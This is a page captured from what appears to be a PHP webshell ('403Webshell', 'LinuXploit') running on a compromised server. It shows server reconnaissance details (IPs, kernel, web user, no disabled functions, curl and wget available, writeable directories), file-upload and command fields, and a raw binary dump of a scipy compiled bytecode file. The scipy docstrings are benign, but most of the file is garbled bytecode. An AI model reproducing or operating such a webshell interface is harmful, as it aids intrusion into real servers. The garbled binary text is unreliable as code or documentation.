403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/linalg/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/linalg/__pycache__/_decomp_ldl.cpython-311.pyc
�

d�c�0���ddlmZddlZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZddlmZddlmZmZdgZdd
�Zdd�Zdd�Zdd
�ZdS)�)�warnN)�
atleast_2d�ComplexWarning�arange�
zeros_like�imag�diag�iscomplexobj�tril�triu�argsort�
empty_like�)�_asarray_validated)�get_lapack_funcs�_compute_lwork�ldlTFc��tt||�����}|jd|jdkrtd���|jdkr8t|��t|��t
jgt���fS|jd}t|��rtnt}|turM|rKd\}}	t
jtt|������rtdt d�	��nd
\}}	t#||	f|f��\}
}t%|||���}|
||||���\}
}}|dkr6td
�|���|�����t+||���\}}t-|
|||���\}}t/||||���\}}|||fS)aG Computes the LDLt or Bunch-Kaufman factorization of a symmetric/
    hermitian matrix.

    This function returns a block diagonal matrix D consisting blocks of size
    at most 2x2 and also a possibly permuted unit lower triangular matrix
    ``L`` such that the factorization ``A = L D L^H`` or ``A = L D L^T``
    holds. If `lower` is False then (again possibly permuted) upper
    triangular matrices are returned as outer factors.

    The permutation array can be used to triangularize the outer factors
    simply by a row shuffle, i.e., ``lu[perm, :]`` is an upper/lower
    triangular matrix. This is also equivalent to multiplication with a
    permutation matrix ``P.dot(lu)``, where ``P`` is a column-permuted
    identity matrix ``I[:, perm]``.

    Depending on the value of the boolean `lower`, only upper or lower
    triangular part of the input array is referenced. Hence, a triangular
    matrix on entry would give the same result as if the full matrix is
    supplied.

    Parameters
    ----------
    A : array_like
        Square input array
    lower : bool, optional
        This switches between the lower and upper triangular outer factors of
        the factorization. Lower triangular (``lower=True``) is the default.
    hermitian : bool, optional
        For complex-valued arrays, this defines whether ``A = A.conj().T`` or
        ``A = A.T`` is assumed. For real-valued arrays, this switch has no
        effect.
    overwrite_a : bool, optional
        Allow overwriting data in `A` (may enhance performance). The default
        is False.
    check_finite : bool, optional
        Whether to check that the input matrices contain only finite numbers.
        Disabling may give a performance gain, but may result in problems
        (crashes, non-termination) if the inputs do contain infinities or NaNs.

    Returns
    -------
    lu : ndarray
        The (possibly) permuted upper/lower triangular outer factor of the
        factorization.
    d : ndarray
        The block diagonal multiplier of the factorization.
    perm : ndarray
        The row-permutation index array that brings lu into triangular form.

    Raises
    ------
    ValueError
        If input array is not square.
    ComplexWarning
        If a complex-valued array with nonzero imaginary parts on the
        diagonal is given and hermitian is set to True.

    See Also
    --------
    cholesky, lu

    Notes
    -----
    This function uses ``?SYTRF`` routines for symmetric matrices and
    ``?HETRF`` routines for Hermitian matrices from LAPACK. See [1]_ for
    the algorithm details.

    Depending on the `lower` keyword value, only lower or upper triangular
    part of the input array is referenced. Moreover, this keyword also defines
    the structure of the outer factors of the factorization.

    .. versionadded:: 1.1.0

    References
    ----------
    .. [1] J.R. Bunch, L. Kaufman, Some stable methods for calculating
       inertia and solving symmetric linear systems, Math. Comput. Vol.31,
       1977. :doi:`10.2307/2005787`

    Examples
    --------
    Given an upper triangular array ``a`` that represents the full symmetric
    array with its entries, obtain ``l``, 'd' and the permutation vector `perm`:

    >>> import numpy as np
    >>> from scipy.linalg import ldl
    >>> a = np.array([[2, -1, 3], [0, 2, 0], [0, 0, 1]])
    >>> lu, d, perm = ldl(a, lower=0) # Use the upper part
    >>> lu
    array([[ 0. ,  0. ,  1. ],
           [ 0. ,  1. , -0.5],
           [ 1. ,  1. ,  1.5]])
    >>> d
    array([[-5. ,  0. ,  0. ],
           [ 0. ,  1.5,  0. ],
           [ 0. ,  0. ,  2. ]])
    >>> perm
    array([2, 1, 0])
    >>> lu[perm, :]
    array([[ 1. ,  1. ,  1.5],
           [ 0. ,  1. , -0.5],
           [ 0. ,  0. ,  1. ]])
    >>> lu.dot(d).dot(lu.T)
    array([[ 2., -1.,  3.],
           [-1.,  2.,  0.],
           [ 3.,  0.,  1.]])

    )�check_finiterrz%The input array "a" should be square.��dtype)�hetrf�hetrf_lworkz�scipy.linalg.ldl():
The imaginary parts of the diagonalare ignored. Use "hermitian=False" for factorization ofcomplex symmetric arrays.�)�
stacklevel)�sytrf�sytrf_lwork)�lower)�lworkr�overwrite_azv{} exited with the internal error "illegal value in argument number {}". See LAPACK documentation for the error codes.)r�	hermitian)rr�shape�
ValueError�sizer�np�array�intr
�complex�float�anyrr	rrrr�format�upper�_ldl_sanitize_ipiv�_ldl_get_d_and_l�_ldl_construct_tri_factor)�Arr!r r�a�n�r_or_c�s�sl�solver�solver_lworkr�ldu�piv�info�swap_arr�	pivot_arr�d�lu�perms                     �:/usr/lib/python3/dist-packages/scipy/linalg/_decomp_ldl.pyrrs���Z	�%�a�l�C�C�C�D�D�A��w�q�z�Q�W�Q�Z����@�A�A�A��v��{�{��!�}�}�j��m�m�R�X�b��-D�-D�-D�D�D�	���
�A�$�Q���
2�W�W�U�F�����Y��&���2�
�6�$�t�A�w�w�-�-� � �	L��-�.<��
L�
L�
L�
L��'���2�+�Q��G�a�T�:�:��F�L��<��%�8�8�8�E��V�A�U�%�(3�5�5�5�N�C��d��a�x�x��0�06��q�w�w�y�y�4�%�0H�0H�J�J�	J�-�S��>�>�>��H�i��S�)�5�I�N�N�N�E�A�r�(��X�y��N�N�N�H�B��
�q�$�;��c��|j}t|��}t|t���}d}|rddd|dfn	dd|dz
ddf\}}}}	}
t	||	|
��D]|}|rd}�||}|dkr||dzkr||dz
||<d||<�2|dkr6||||zkr'||dzkr||dz
|||z<d|||z<d}�ntd���||fS)	a�
    This helper function takes the rather strangely encoded permutation array
    returned by the LAPACK routines ?(HE/SY)TRF and converts it into
    regularized permutation and diagonal pivot size format.

    Since FORTRAN uses 1-indexing and LAPACK uses different start points for
    upper and lower formats there are certain offsets in the indices used
    below.

    Let's assume a result where the matrix is 6x6 and there are two 2x2
    and two 1x1 blocks reported by the routine. To ease the coding efforts,
    we still populate a 6-sized array and fill zeros as the following ::

        pivots = [2, 0, 2, 0, 1, 1]

    This denotes a diagonal matrix of the form ::

        [x x        ]
        [x x        ]
        [    x x    ]
        [    x x    ]
        [        x  ]
        [          x]

    In other words, we write 2 when the 2x2 block is first encountered and
    automatically write 0 to the next entry and skip the next spin of the
    loop. Thus, a separate counter or array appends to keep track of block
    sizes are avoided. If needed, zeros can be filtered out later without
    losing the block structure.

    Parameters
    ----------
    a : ndarray
        The permutation array ipiv returned by LAPACK
    lower : bool, optional
        The switch to select whether upper or lower triangle is chosen in
        the LAPACK call.

    Returns
    -------
    swap_ : ndarray
        The array that defines the row/column swap operations. For example,
        if row two is swapped with row four, the result is [0, 3, 2, 3].
    pivots : ndarray
        The array that defines the block diagonal structure as given above.

    rFrr���rTznWhile parsing the permutation array in "scipy.linalg.ldl", invalid entries found. The array syntax is invalid.)r$rrr'�ranger#)
r1rr2�swap_�pivots�skip_2x2�x�y�rs�re�ri�ind�cur_vals
             r@r-r-�sL��`	
��A��1�I�I�E�
��S�
)�
)�
)�F��H�+0�J��1�a��A���b�"�a��c�2�r�5J��A�q�"�b�"��R��R� � �D�D���	��H���C�&���Q�;�;��#�a�%���"�7�1�9�-��c�
��F�3�K�K�
�q�[�[�W��#�a�%��0�0��x�3�q�5� � �$�g�X�a�Z�0��c�!�e���F�3�q�5�M��H�H��C�D�D�
D��&�=�rAc�"�t|��}tt|����}|jd}d}|rdnd\}}	|rt|d��nt	|d��}
t|��}d|
||f<||dkD]�}||z}
|dkru|||z||	zf|||z||	zf<|r0|r.|||z||	zf���|||	z||zf<n|||z||	zf|||	z||zf<d|
||z||	zf<|
}��||
fS)a�
    Helper function to extract the diagonal and triangular matrices for
    LDL.T factorization.

    Parameters
    ----------
    ldu : ndarray
        The compact output returned by the LAPACK routing
    pivs : ndarray
        The sanitized array of {0, 1, 2} denoting the sizes of the pivots. For
        every 2 there is a succeeding 0.
    lower : bool, optional
        If set to False, upper triangular part is considered.
    hermitian : bool, optional
        If set to False a symmetric complex array is assumed.

    Returns
    -------
    d : ndarray
        The block diagonal matrix.
    lu : ndarray
        The upper/lower triangular matrix
    r)rr)rrrCrrg)r
r	r"rrr�conj)r8�pivsrr!�is_cr=r2�blk_irHrIr>�	diag_inds�blk�incs              r@r.r.�sk��0����D��T�#�Y�Y���A�	���
�A�
�E��&�6�6��D�A�q��	1��c�2����T�#�q�\�\�B��q�	�	�I� �B�y�)����D�A�I������c�k���!�8�8�"%�e�A�g�u�Q�w�&6�"7�A�e�A�g�u�Q�w����
<�	�
<�&)�%��'�5��7�*:�&;�&@�&@�&B�&B��%��'�5��7�"�#�#�&)�%��'�5��7�*:�&;��%��'�5��7�"�#�#%�B�u�Q�w��a��� �����b�5�LrAc�t�|jd}t|��}|r|dz
ddfnd|df\}}}t|||��D]g}	||	}
|
|	krW|r|	nd}|r|n|	dz}||	|rdndkr||rdndz
}||rdndz
}||	|
g||�f||
|	g||�f<||	|
g||
|	g<�h|t|��fS)a�
    Helper function to construct explicit outer factors of LDL factorization.

    If lower is True the permuted factors are multiplied as L(1)*L(2)*...*L(k).
    Otherwise, the permuted factors are multiplied as L(k)*...*L(2)*L(1). See
    LAPACK documentation for more details.

    Parameters
    ----------
    lu : ndarray
        The triangular array that is extracted from LAPACK routine call with
        ones on the diagonals.
    swap_vec : ndarray
        The array that defines the row swapping indices. If the kth entry is m
        then rows k,m are swapped. Notice that the mth entry is not necessarily
        k to avoid undoing the swapping.
    pivs : ndarray
        The array that defines the block diagonal structure returned by
        _ldl_sanitize_ipiv().
    lower : bool, optional
        The boolean to switch between lower and upper triangular structure.

    Returns
    -------
    lu : ndarray
        The square outer factor which satisfies the L * D * L.T = A
    perm : ndarray
        The permutation vector that brings the lu to the triangular form

    Notes
    -----
    Note that the original argument "lu" is overwritten.

    rrrCr)r"rrDr
)
r>�swap_vecrQrr2r?rJrKrLrM�s_ind�col_s�col_es
             r@r/r/*s��F	����A��!�9�9�D�"'�6�!�A�#�r�2���a��A�Y�J�B��B��R��R� � �4�4����
���C�<�<� �'�C�C�a�E��)�A�A�C��E�E��C�y�%�.�Q�Q�Q�/�/��u�+���!�+���e�*����*��,.��U�|�U�5�[�/H�,I�B��s�|�U�5�[�(�)�!%�s�E�l�!3�D�%�����
�w�t�}�}��rA)TTFT)T)TT)�warningsr�numpyr%rrrrrr	r
rrr
r�_decompr�lapackrr�__all__rr-r.r/�rAr@�<module>rbsU������������B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�'�'�'�'�'�'�4�4�4�4�4�4�4�4��'��N�N�N�N�bR�R�R�R�j5�5�5�5�p6�6�6�6�6�6rA

Youez - 2016 - github.com/yon3zu
LinuXploit